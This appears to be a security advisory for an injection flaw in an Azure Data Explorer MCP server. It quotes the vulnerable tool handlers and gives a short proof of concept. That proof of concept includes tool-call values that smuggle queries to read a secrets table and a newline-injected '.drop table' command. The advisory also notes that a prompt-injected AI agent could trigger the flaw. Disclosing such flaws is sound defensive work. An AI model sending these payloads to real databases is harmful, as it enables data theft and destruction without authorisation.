🛡️ CVE-2026-33980 — adx-mcp-server

Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries

Summary

adx-mcp-server (<= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: get_table_schema, sample_table_data, and get_table_details. The table_name parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.

Details

The MCP tools construct KQL queries by directly embedding the table_name parameter into query strings:

Vulnerable code ([permalink](https://github.com/pab1it0/adx-mcp-server/blob/48b2933/src/adx_mcp_server/server.py#L228)):

```python

@mcp.tool(...)

async def get_table_schema(table_name: str) -> List[Dict[str, Any]]:

client = get_kusto_client()

query = f"{table_name} | getschema" # <-- KQL injection

result_set = client.execute(config.database, query)

```

```python

@mcp.tool(...)

async def sample_table_data(table_name: str, sample_size: int = 10) -> List[Dict[str, Any]]:

client = get_kusto_client()

query = f"{table_name} | sample {sample_size}" # <-- KQL injection

result_set = client.execute(config.database, query)

```

```python

@mcp.tool(...)

async def get_table_details(table_name: str) -> List[Dict[str, Any]]:

client = get_kusto_client()

query = f".show table {table_name} details" # <-- KQL injection

result_set = client.execute(config.database, query)

```

KQL allows chaining query operators with | and executing management commands prefixed with .. An attacker can inject:

• sensitive_table | project Secret, Password | take 100 // to read arbitrary tables
• Newline-separated management commands like .drop table important_data via get_table_details
• Arbitrary KQL analytics queries via any of the three tools

Note: While the server also has an execute_query tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to "safe" tools while requiring confirmation for execute_query. The injection bypasses this trust boundary.

PoC

```python

# PoC: KQL Injection via get_table_schema tool

# The table_name parameter is injected into: f"{table_name} | getschema"

import json

# MCP tool call that exfiltrates data from a sensitive table

tool_call = {

"name": "get_table_schema",

"arguments": {

"table_name": "sensitive_data | project Secret, Password | take 100 //"

}

}

print(json.dumps(tool_call, indent=2))

# Resulting KQL: "sensitive_data | project Secret, Password | take 100 // | getschema"

# The // comments out "| getschema", executing an arbitrary data query instead

# Destructive example via get_table_details:

tool_call_destructive = {

"name": "get_table_details",

"arguments": {

"table_name": "users details\n.drop table critical_data"

}

}

# Resulting KQL:

# .show table users details

# .drop table critical_data details

```